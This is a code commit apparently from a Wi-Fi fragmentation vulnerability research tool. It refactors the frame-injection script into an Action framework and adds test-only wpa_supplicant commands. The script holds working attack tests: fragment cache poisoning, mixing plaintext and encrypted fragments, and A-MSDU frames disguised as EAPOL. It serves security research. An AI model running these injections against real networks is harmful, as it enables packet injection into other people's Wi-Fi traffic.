fragattack: argparse, use Actions

hostapd/defconfig

@@ -142,7 +142,7 @@ CONFIG_PKCS12=y
 CONFIG_IPV6=y
 
 # IEEE Std 802.11r-2008 (Fast BSS Transition)
-#CONFIG_IEEE80211R=y
+CONFIG_IEEE80211R=y
 
 # Use the hostapd's IEEE 802.11 authentication (ACL), but without
 # the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
@@ -307,7 +307,7 @@ CONFIG_IPV6=y
 # Interworking (IEEE 802.11u)
 # This can be used to enable functionality to improve interworking with
 # external networks.
-#CONFIG_INTERWORKING=y
+CONFIG_INTERWORKING=y
 
 # Hotspot 2.0
 #CONFIG_HS20=y

research/inject.py

@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 from libwifi import *
 import abc, sys, socket, struct, time, subprocess, atexit, select, copy
+import argparse
 from wpaspy import Ctrl
 from scapy.contrib.wpa_eapol import WPA_key
 
@@ -15,7 +16,7 @@ from scapy.contrib.wpa_eapol import WPA_key
 #   will make the chip assign difference sequence numbers to both fragments.
 # - Overwriting the sequence can be avoided by patching `ath_tgt_tx_seqno_normal`
 #   and commenting out the two lines that modify `i_seq`.
-# - See also the comment in Station.inject_next_frags to avoid other bugs with
+# - See also the comment in Station.perform_actions to avoid other bugs with
 #   ath9k_htc when injecting frames with the MF flag and while being in AP mode.
 # - The at9k_htc dongle, and likely other Wi-Fi devices, will reorder frames with
 #   different QoS priorities. This means injected frames with differen priorities
@@ -58,8 +59,8 @@ class TestOptions():
 		self.inject_workaround = False
 
 		self.interface = None
-		self.clientip = None
+		self.ip = None
-		self.routerip = None
+		self.peerip = None
 
 # ----------------------------------- Tests -----------------------------------
 
@@ -94,7 +95,7 @@ def generate_request(sta, ptype):
 
 	return header, request, check
 
-class Frag():
+class Action():
 	# StartAuth: when starting the handshake
 	# BeforeAuth: right before last message of the handshake
 	# AfterAuth: right after last message of the handshake
@@ -104,30 +105,24 @@ class Frag():
 	# GetIp: request an IP before continueing (or use existing one)
 	# Rekey: force or wait for a PTK rekey
 	# Reconnect: force a reconnect
-	GetIp, Rekey, Reconnect = range(3)
+	GetIp, Rekey, Reconnect, Roam, Inject, Func = range(6)
 
-	def __init__(self, trigger, encrypted, frame=None, flags=None, inc_pn=1, delay=None):
+	def __init__(self, trigger, action=Inject, func=None, enc=False, frame=None, inc_pn=1, delay=None):
 		self.trigger = trigger
+		self.action = action
+		self.func = func
 
-		if flags != None and not isinstance(flags, list):
+		if self.func != None:
-			self.flags = [flags]
+			self.action = Action.Func
-		else:
-			self.flags = flags if flags != None else []
 
-		self.encrypted = encrypted
+		# Specific to fragment injection
+		self.encrypted = enc
 		self.inc_pn = inc_pn
 		self.delay = delay
 		self.frame = frame
 
-	def next_flag(self):
+	def get_action(self):
-		if len(self.flags) == 0:
+		return self.action
-			return None
-		return self.flags[0]
-
-	def pop_flag(self):
-		if len(self.flags) == 0:
-			return None
-		return self.flags.pop(0)
 
 class Test(metaclass=abc.ABCMeta):
 	"""
@@ -135,34 +130,30 @@ class Test(metaclass=abc.ABCMeta):
 	but they can also be overriden if desired.
 	"""
 
-	def __init__(self, fragments=None):
+	def __init__(self, actions=None):
-		self.fragments = fragments if fragments != None else []
+		self.actions = actions if actions != None else []
 		self.generated = False
 
 	def next_trigger_is(self, trigger):
-		if len(self.fragments) == 0:
+		if len(self.actions) == 0:
 			return False
-		return self.fragments[0].next_flag() == None and \
+		return self.actions[0].trigger == trigger
-			self.fragments[0].trigger == trigger
 
-	def next_flag(self):
+	def next_action(self, station):
-		if len(self.fragments) == 0:
+		if len(self.actions) == 0:
 			return None
-		return self.fragments[0].next_flag()
 
-	def pop_flag(self):
+		if self.actions[0].action == Action.Inject and not self.generated:
-		if len(self.fragments) == 0:
-			return None
-		return self.fragments[0].pop_flag()
-
-	def next(self, station):
-		if not self.generated:
 			self.generate(station)
 			self.generated = True
 
-		frag = self.fragments[0]
+		return self.actions[0]
-		del self.fragments[0]
+
-		return frag
+	def get_actions(self, action):
+		return [act for act in self.actions if act.action == action]
+
+	def pop_action(self):
+		del self.actions[0]
 
 	@abc.abstractmethod
 	def generate(self, station):
@@ -192,31 +183,36 @@ class PingTest(Test):
 		header, request, self.check_fn = generate_request(station, self.ptype)
 
 		# Generate all the individual (fragmented) frames
-		frames = create_fragments(header, request, len(self.fragments))
+		num_frags = len(self.get_actions(Action.Inject))
+		frames = create_fragments(header, request, num_frags)
 
 		# Assign frames to the existing fragment objects
-		for frag, frame in zip(self.fragments, frames):
+		for frag, frame in zip(self.get_actions(Action.Inject), frames):
 			if self.bcast:
 				frame.addr1 = "ff:ff:ff:ff:ff:ff"
 			frag.frame = frame
 
-		# Put the separator between each fragment if requested.
+		# Put the separator after each fragment if requested.
 		if self.separate_with != None:
-			for i in range(len(self.fragments) - 1, 0, -1):
+			for i in range(len(self.actions) - 1, 0, -1):
-				prev_frag = self.fragments[i - 1]
+				# Check if the previous action is indeed an injection
+				prev_frag = self.actions[i - 1]
+				if prev_frag.action != Action.Inject:
+					continue
 
-				sep_frag = Frag(prev_frag.trigger, prev_frag.encrypted)
+				# Create a similar inject action for the seperator
+				sep_frag = Action(prev_frag.trigger, enc=prev_frag.encrypted)
 				sep_frag.frame = self.separate_with.copy()
 				station.set_header(sep_frag.frame)
 
-				self.fragments.insert(i, sep_frag)
+				self.actions.insert(i, sep_frag)
 
 class LinuxTest(Test):
 	def __init__(self, ptype):
 		super().__init__([
-			Frag(Frag.Connected, True),
+			Action(Action.Connected, enc=True),
-			Frag(Frag.Connected, True),
+			Action(Action.Connected, enc=True),
-			Frag(Frag.Connected, False)
+			Action(Action.Connected, enc=False)
 		])
 		self.ptype = ptype
 		self.check_fn = None
@@ -231,15 +227,15 @@ class LinuxTest(Test):
 		frag1, frag2 = create_fragments(header, request, 2)
 
 		# Fragment 1: normal
-		self.fragments[0].frame = frag1
+		self.actions[0].frame = frag1
 
 		# Fragment 2: make Linux update latest used crypto Packet Number
 		frag2enc = frag2.copy()
 		frag2enc.SC ^= (1 << 4) | 1
-		self.fragments[1].frame = frag2enc
+		self.actions[1].frame = frag2enc
 
 		# Fragment 3: can now inject last fragment as plaintext
-		self.fragments[2].frame = frag2
+		self.actions[2].frame = frag2
 
 		return test
 
@@ -249,8 +245,8 @@ class MacOsTest(Test):
 	"""
 	def __init__(self, ptype):
 		super().__init__([
-			Frag(Frag.BeforeAuth, False),
+			Action(Action.BeforeAuth, enc=False),
-			Frag(Frag.BeforeAuth, False)
+			Action(Action.BeforeAuth, enc=False)
 		])
 		self.ptype = ptype
 		self.check_fn = None
@@ -275,8 +271,8 @@ class MacOsTest(Test):
 		frag2.SC |= 1
 		frag2.addr1 = "ff:ff:ff:ff:ff:ff"
 
-		self.fragments[0].frame = frag1
+		self.actions[0].frame = frag1
-		self.fragments[1].frame = frag2
+		self.actions[1].frame = frag2
 
 class EapolTest(Test):
 	# TODO:
@@ -286,8 +282,8 @@ class EapolTest(Test):
 	# Test 4: EAPOL and A-MSDU tests?
 	def __init__(self):
 		super().__init__([
-			Frag(Frag.BeforeAuth, False),
+			Action(Action.BeforeAuth, enc=False),
-			Frag(Frag.BeforeAuth, False)
+			Action(Action.BeforeAuth, enc=False)
 		])
 
 	def generate(self, station):
@@ -299,8 +295,8 @@ class EapolTest(Test):
 		frag1copy.addr1 = "ff:ff:ff:ff:ff:ff"
 		frag2copy.addr1 = "ff:ff:ff:ff:ff:ff"
 
-		self.fragments[0].frame = frag1
+		self.actions[0].frame = frag1
-		self.fragments[0].frame = frag2
+		self.actions[0].frame = frag2
 
 #TODO: Move this function elsewhere?
 def add_msdu_frag(src, dst, payload):
@@ -319,8 +315,8 @@ def add_msdu_frag(src, dst, payload):
 class EapolMsduTest(Test):
 	def __init__(self, ptype):
 		super().__init__([
-			Frag(Frag.Connected, False),
+			Action(Action.Connected, enc=False),
-			Frag(Frag.Connected, False, delay=2)
+			Action(Action.Connected, enc=False)
 		])
 		self.ptype = ptype
 		self.check_fn = None
@@ -338,7 +334,7 @@ class EapolMsduTest(Test):
 		# Set the A-MSDU frame type flag in the QoS header
 		header.Reserved = 1
 		# Testing
-		header.addr2 = "00:11:22:33:44:55"
+		#header.addr2 = "00:11:22:33:44:55"
 
 		# Masquerade A-MSDU frame as an EAPOL frame
 		request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / add_msdu_frag(station.mac, station.peermac, request)
@@ -350,9 +346,8 @@ class EapolMsduTest(Test):
 		station.set_header(auth)
 		auth.addr2 = "00:11:22:33:44:55"
 
-		self.fragments[0].frame = auth
+		self.actions[0].frame = auth
-		self.fragments[1].frame = frames[0]
+		self.actions[1].frame = frames[0]
-
 
 # ----------------------------------- Abstract Station Class -----------------------------------
 
@@ -485,22 +480,103 @@ class Station():
 		self.reset_keys()
 		self.time_connected = None
 
-	def inject_next_frags(self, trigger):
+	def trigger_eapol_events(self, eapol):
+		key_type   = eapol.key_info & 0x0008
+		key_ack    = eapol.key_info & 0x0080
+		key_mic    = eapol.key_info & 0x0100
+		key_secure = eapol.key_info & 0x0200
+		# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
+		is_msg3_or_4 = key_secure != 0
+
+		# Inject any fragments before authenticating
+		if not self.txed_before_auth:
+			log(STATUS, "Action.StartAuth", color="green")
+			self.perform_actions(Action.StartAuth)
+			self.txed_before_auth = True
+			self.txed_before_auth_done = False
+
+		# Inject any fragments when almost done authenticating
+		elif is_msg3_or_4 and not self.txed_before_auth_done:
+			log(STATUS, "Action.BeforeAuth", color="green")
+			self.perform_actions(Action.BeforeAuth)
+			self.txed_before_auth_done = True
+			self.txed_before_auth = False
+
+		self.time_connected = None
+
+	def handle_eapol_tx(self, eapol):
+		eapol = EAPOL(eapol)
+		self.trigger_eapol_events(eapol)
+
+		# - Send over monitor interface to assure order compared to injected fragments.
+		# - This is also important because the station might have already installed the
+		#   key before this script can send the EAPOL frame over Ethernet (but we didn't
+		#   yet request the key from this script).
+		# - Send with high priority, otherwise Action.AfterAuth might be send before
+		#   the EAPOL frame by the Wi-Fi chip.
+		self.send_mon(eapol)
+
+	def perform_actions(self, trigger):
+		if self.test == None:
+			return
+
 		frame = None
+		while self.test.next_trigger_is(trigger):
+			act = self.test.next_action(self)
+			print("Loop:", self.test.actions)
+			print("Loop:", [act.frame for act in self.test.actions])
 
-		while self.test != None and self.test.next_trigger_is(trigger):
+			# GetIp is a special case. It is only popped when we actually
-			frag = self.test.next(self)
+			# have an IP. So handle if first as a special case.
-			if frag.delay != None:
+			# TODO: Actually "complete" the action once we have an IP.
-				log(STATUS, f"Sleeping {frag.delay} seconds")
+			if act.action == Action.GetIp and not self.obtained_ip:
-				time.sleep(frag.delay)
+				# (Re)transmit DHCP frames (or as AP print status message)
+				self.daemon.get_ip(self)
+				# Either schedule a new Connected event, or the initial one. Use 2 seconds
+				# because requesting IP generally takes a bit of time.
+				# TODO: Add an option to configure this timeout.
+				self.time_connected = time.time() + 1
+				log(WARNING, f"Scheduling next Action.Connected at {self.time_connected}")
+				break
 
-			if frag.encrypted:
+			# All the other actions are always popped
+			self.test.pop_action()
+
+			if act.action == Action.Func:
+				log(STATUS, "[Executing Function]")
+				if act.func(self) != None:
+					break
+
+			elif act.action == Action.Rekey:
+				# Force rekey as AP, wait on rekey as client
+				self.daemon.rekey(self)
+				break
+
+			elif act.action == Action.Roam:
+				# Roam as client, TODO XXX what was AP?
+				self.daemon.roam(self)
+				break
+
+			elif act.action == Action.Reconnect:
+				# Full reconnect as AP, reassociation as client
+				self.daemon.reconnect(self)
+				break
+
+			elif act.action == Action.Inject:
+				if act.delay != None:
+					log(STATUS, f"Sleeping {act.delay} seconds")
+					time.sleep(act.delay)
+
+				if act.encrypted:
 					assert self.tk != None and self.gtk != None
-				frame = self.encrypt(frag.frame, inc_pn=frag.inc_pn)
+					frame = self.encrypt(act.frame, inc_pn=act.inc_pn)
 					log(STATUS, "Encrypted fragment with key " + self.tk.hex())
 				else:
-				frame = frag.frame
+					frame = act.frame
 
+				print(repr(frame))
+				print(repr(act))
+				print(self.test.actions)
 				self.daemon.inject_mon(frame)
 				log(STATUS, "[Injected fragment] " + repr(frame))
 
@@ -519,85 +595,20 @@ class Station():
 			self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
 			print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
 
-	def trigger_eapol_events(self, eapol):
-		key_type   = eapol.key_info & 0x0008
-		key_ack    = eapol.key_info & 0x0080
-		key_mic    = eapol.key_info & 0x0100
-		key_secure = eapol.key_info & 0x0200
-		# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
-		is_msg3_or_4 = key_secure != 0
-
-		# Inject any fragments before authenticating
-		if not self.txed_before_auth:
-			log(STATUS, "Frag.StartAuth", color="green")
-			self.inject_next_frags(Frag.StartAuth)
-			self.txed_before_auth = True
-			self.txed_before_auth_done = False
-
-		# Inject any fragments when almost done authenticating
-		elif is_msg3_or_4 and not self.txed_before_auth_done:
-			log(STATUS, "Frag.BeforeAuth", color="green")
-			self.inject_next_frags(Frag.BeforeAuth)
-			self.txed_before_auth_done = True
-			self.txed_before_auth = False
-
-		self.time_connected = None
-
-	def handle_eapol_tx(self, eapol):
-		eapol = EAPOL(eapol)
-		self.trigger_eapol_events(eapol)
-
-		# - Send over monitor interface to assure order compared to injected fragments.
-		# - This is also important because the station might have already installed the
-		#   key before this script can send the EAPOL frame over Ethernet (but we didn't
-		#   yet request the key from this script).
-		# - Send with high priority, otherwise Frag.AfterAuth might be send before
-		#   the EAPOL frame by the Wi-Fi chip.
-		self.send_mon(eapol)
-
-	def check_flags_and_inject(self, trigger):
-		if self.test == None:
-			return
-
-		flag = self.test.next_flag()
-		if flag == Frag.GetIp:
-			if self.obtained_ip:
-				self.test.pop_flag()
-			else:
-				# (Re)transmit DHCP frames (or as AP print status message)
-				self.daemon.get_ip(self)
-				# Either schedule a new Connected event, or the initial one. Use 2 seconds
-				# because requesting IP generally takes a bit of time.
-				# TODO: Add an option to configure this timeout.
-				self.time_connected = time.time() + 1
-				log(WARNING, f"Scheduling next Frag.Connected at {self.time_connected}")
-				return
-
-		self.inject_next_frags(trigger)
-
-		flag = self.test.pop_flag()
-		if flag == Frag.Rekey:
-			# Force rekey as AP, wait on rekey as client
-			self.daemon.rekey(self)
-
-		elif flag == Frag.Reconnect:
-			# Full reconnect as AP, reassociation as client
-			self.daemon.reconnect(self)
-
 	def handle_authenticated(self):
 		"""Called after completion of the 4-way handshake or similar"""
 		self.tk = self.daemon.get_tk(self)
 		self.gtk, self.gtk_idx = self.daemon.get_gtk()
 
-		# Note that self.time_connect may get changed in check_flags_and_inject
+		# Note that self.time_connect may get changed in perform_actions
-		log(STATUS, "Frag.AfterAuth", color="green")
+		log(STATUS, "Action.AfterAuth", color="green")
 		self.time_connected = time.time() + 1
-		self.check_flags_and_inject(Frag.AfterAuth)
+		self.perform_actions(Action.AfterAuth)
 
 	def handle_connected(self):
 		"""This is called ~1 second after completing the handshake"""
-		log(STATUS, "Frag.Connected", color="green")
+		log(STATUS, "Action.Connected", color="green")
-		self.check_flags_and_inject(Frag.Connected)
+		self.perform_actions(Action.Connected)
 
 	def set_ip_addresses(self, ip, peerip):
 		self.ip = ip
@@ -907,10 +918,9 @@ class Supplicant(Daemon):
 		req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
 		req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
 		req = req/DHCP(options=[("message-type", "discover"), "end"])
-		print(repr(req))
 
+		log(STATUS, "Sending DHCP discover with XID {self.dhcp_xid}")
 		self.station.send_mon(req)
-		#self.sock_eth.send(req)
 
 	def send_dhcp_request(self, offer):
 		rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
@@ -923,8 +933,8 @@ class Supplicant(Daemon):
 		reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
 					    ("hostname", "fragclient"), "end"])
 
+		log(STATUS, "Sending DHCP request with XID {self.dhcp_xid}")
 		self.station.send_mon(reply)
-		#self.sock_eth.send(reply)
 
 	def handle_eth_dhcp(self, p):
 		"""Handle packets needed to connect and request an IP"""
@@ -974,8 +984,14 @@ class Supplicant(Daemon):
 			cmd, srcaddr, payload = msg.split()
 			self.station.handle_eapol_tx(bytes.fromhex(payload))
 
+	def roam(self, station):
+		log(STATUS, "Roaming to the current AP.", color="green")
+		wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 0")
+		wpaspy_command(self.wpaspy_ctrl, "ROAM " + station.peermac)
+
 	def reconnect(self, station):
 		log(STATUS, "Reconnecting to the AP.", color="green")
+		wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
 		wpaspy_command(self.wpaspy_ctrl, "REASSOCIATE")
 
 	def configure_daemon(self):
@@ -984,12 +1000,11 @@ class Supplicant(Daemon):
 
 		# Optimize reassoc-to-same-BSS. This makes the "REASSOCIATE" command skip the
 		# authentication phase (reducing the chance that packet queues are reset).
-		wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
 		wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
 
 		# If the user already supplied IPs we can immediately perform tests
-		if self.options.clientip and self.options.routerip:
+		if self.options.ip and self.options.peerip:
-			self.initialize_ips(self.options.clientip, self.options.routerip)
+			self.initialize_ips(self.options.ip, self.options.peerip)
 
 	def start_daemon(self):
 		log(STATUS, "Starting wpa_supplicant ...")
@@ -1014,54 +1029,58 @@ class Supplicant(Daemon):
 def cleanup():
 	daemon.stop()
 
-def prepare_tests(test_id):
+def prepare_tests(test_name):
-	if test_id == 0:
+	if test_name == "0":
 		# Simple ping as sanity check
 		test = PingTest(REQ_DHCP,
-				[Frag(Frag.Connected, True, flags=Frag.GetIp)])
+				[Action(Action.Connected, Action.Roam),
-				#[Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
+				 Action(Action.Connected, enc=False, delay=5),
+				 Action(Action.Connected, enc=False)])
 
-	elif test_id == 1:
+	elif test_name == "1":
 		# Check if the STA receives broadcast (useful test against AP)
 		test = PingTest(REQ_DHCP,
-				[Frag(Frag.Connected, True)],
+				[Action(Action.Connected, enc=True)],
 				bcast=True)
 
-	elif test_id == 2:
+	elif test_name == "2":
 		# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
 		test = PingTest(REQ_ICMP,
-				[Frag(Frag.Connected, True),
+				[Action(Action.Connected, enc=True),
-				 Frag(Frag.AfterAuth, True, flags=Frag.Reconnect)])
+				 Action(Action.Connected, action=Action.Reconnect),
+				 Action(Action.AfterAuth, enc=True)])
 
-	elif test_id == 3:
+	elif test_name == "3":
 		# Two fragments over different PTK keys. Against RT-AC51U AP we can
 		# trigger a rekey, but must do the rekey handshake in plaintext.
 		test = PingTest(REQ_DHCP,
-				[Frag(Frag.Connected, True),
+				[Action(Action.Connected, enc=True),
-				 Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
+				 Action(Action.Connected, action=Action.Rekey),
+				 Action(Action.AfterAuth, enc=True)])
 
-	elif test_id == 4:
+	elif test_name == "4":
 		# Two fragments over different PTK keys. Against RT-AC51U AP we can
 		# trigger a rekey, but must do the rekey handshake in plaintext.
 		test = PingTest(REQ_DHCP,
-				[Frag(Frag.BeforeAuth, True, flags=Frag.Rekey),
+				[Action(Action.Connected, action=Action.Rekey),
-				 Frag(Frag.AfterAuth, True)])
+				 Action(Action.BeforeAuth, enc=True),
+				 Action(Action.AfterAuth, enc=True)])
 
-	elif test_id == 5:
+	elif test_name == "5":
 		test = MacOsTest(REQ_DHCP)
 
-	elif test_id == 6:
+	elif test_name == "6":
 		# Check if we can send frames in between fragments
 		separator = Dot11(type="Data", subtype=8, SC=(33 << 4))/Dot11QoS()/LLC()/SNAP()
 		#separator.addr2 = "00:11:22:33:44:55"
 		#separator.addr3 = "ff:ff:ff:ff:ff:ff"
 		test = PingTest(REQ_DHCP,
-				[Frag(Frag.Connected, True),
+				[Action(Action.Connected, enc=True),
-				 Frag(Frag.Connected, True, delay=1)])
+				 Action(Action.Connected, enc=True, delay=1)])
 				 #separate_with=separator)
 
-	elif test_id == 7:
+	elif test_name == "7":
-		test = EapolMsduTest(REQ_DHCP)
+		test = EapolMsduTest(REQ_ICMP)
 
 	# XXX TODO : Hardware decrypts it using old key, software using new key?
 	#	     So right after rekey we inject first with old key, second with new key?
@@ -1085,29 +1104,36 @@ def prepare_tests(test_id):
 	#   1.8 Encrypted, plaintext, encrypted
 	#   1.9 Plaintext, encrypted, plaintext
 	#   2. Test 2 but first plaintext sent before installing key
+	#   ==> Plaintext can already be sent during 4-way HS?
+	# - Test fragmentation of management frames
+	# - Test fragmentation of group frames (STA mode of RT-AC51u?)
 
 	return test
 
 if __name__ == "__main__":
 	log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
-	if "--help" in sys.argv or "-h" in sys.argv:
-		print("\nSee README.md for usage instructions.")
-		quit(1)
-	elif len(sys.argv) < 2:
-		print(f"Usage: {sys.argv[0]} interface test_id")
-		quit(1)
 
+	parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
+	parser.add_argument('iface', help="Interface to use for the tests.")
+	parser.add_argument('testname', help="Name or identifier of the test to run.")
+	parser.add_argument('--ip', help="IP we as a sender should use.")
+	parser.add_argument('--peerip', help="IP of the device we will test.")
+	parser.add_argument('--ap', default=False, action='store_true', help="Act as an AP to test clients.")
+	parser.add_argument('--debug', type=int, default=0, help="Debug output level.")
+	args = parser.parse_args()
+
+	# Convert parsed options to TestOptions object
 	options = TestOptions()
-	options.interface = sys.argv[1]
+	options.interface = args.iface
-	options.test = prepare_tests(int(sys.argv[2]))
+	options.test = prepare_tests(args.testname)
+	options.ip = args.ip
+	options.peerip = args.peerip
 
 	# Parse remaining options
-	start_ap = argv_pop_argument("--ap")
+	global_log_level -= args.debug
-	while argv_pop_argument("--debug"):
-		libwifi.global_log_level -= 1
 
 	# Now start the tests
-	if start_ap:
+	if args.ap:
 		daemon = Authenticator(options)
 	else:
 		daemon = Supplicant(options)

wpa_supplicant/ctrl_iface.c

@@ -57,6 +57,10 @@
 #include "dpp_supplicant.h"
 #include "sme.h"
 
+#ifdef CONFIG_TESTING_OPTIONS
+#include <rsn_supp/wpa_i.h>
+#endif /* CONFIG_TESTING_OPTIONS */
+
 #ifdef __NetBSD__
 #include <net/if_ether.h>
 #elif !defined(__CYGWIN__) && !defined(CONFIG_NATIVE_WINDOWS)
@@ -9440,6 +9444,50 @@ static int wpa_supplicant_ctrl_iface_get_gtk(struct wpa_supplicant *wpa_s,
 	return pos;
 }
 
+
+static int wpas_ctrl_get_assoc_resp_ies(struct wpa_supplicant *wpa_s,
+					char *buf, size_t buflen)
+{
+	struct wpa_sm *sm = wpa_s->wpa;
+
+	if (sm->assoc_resp_ies == NULL)
+		return -1;
+
+	return wpa_snprintf_hex(buf, buflen, sm->assoc_resp_ies, sm->assoc_resp_ies_len);
+}
+
+
+static int wpas_ctrl_set_assoc_resp_ies(struct wpa_supplicant *wpa_s, const char *cmd)
+{
+	struct wpa_sm *sm = wpa_s->wpa;
+	size_t len;
+	u8 *buf;
+
+	len = os_strlen(cmd);
+	if (len & 1) return -1;
+	len /= 2;
+
+	buf = os_malloc(len);
+	if (buf == NULL)
+		return -1;
+
+	if (hexstr2bin(cmd, buf, len) < 0) {
+		os_free(buf);
+		return -1;
+	}
+
+	printf("\n\nCurrent value = ");
+	for (int i = 0; i < sm->assoc_resp_ies_len; ++i)
+		printf("%02X ", sm->assoc_resp_ies[i]);
+	printf("\n");
+
+	os_free(sm->assoc_resp_ies);
+	sm->assoc_resp_ies = buf;
+	sm->assoc_resp_ies_len = len;
+
+	return 0;
+}
+
 #endif /* CONFIG_TESTING_OPTIONS */
 
 
@@ -10785,6 +10833,11 @@ char * wpa_supplicant_ctrl_iface_process(struct wpa_supplicant *wpa_s,
 			WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA);
 	} else if (os_strcmp(buf, "GET_GTK") == 0) {
 		reply_len = wpa_supplicant_ctrl_iface_get_gtk(wpa_s, reply, reply_size);
+	} else if (os_strcmp(buf, "GET_ASSOC_RESP_IES") == 0) {
+		reply_len = wpas_ctrl_get_assoc_resp_ies(wpa_s, reply, reply_size);
+	} else if (os_strncmp(buf, "SET_ASSOC_RESP_IES ", 19) == 0) {
+		if (wpas_ctrl_set_assoc_resp_ies(wpa_s, buf + 19) < 0)
+			reply_len = -1;
 #endif /* CONFIG_TESTING_OPTIONS */
 	} else if (os_strncmp(buf, "VENDOR_ELEM_ADD ", 16) == 0) {
 		if (wpas_ctrl_vendor_elem_add(wpa_s, buf + 16) < 0)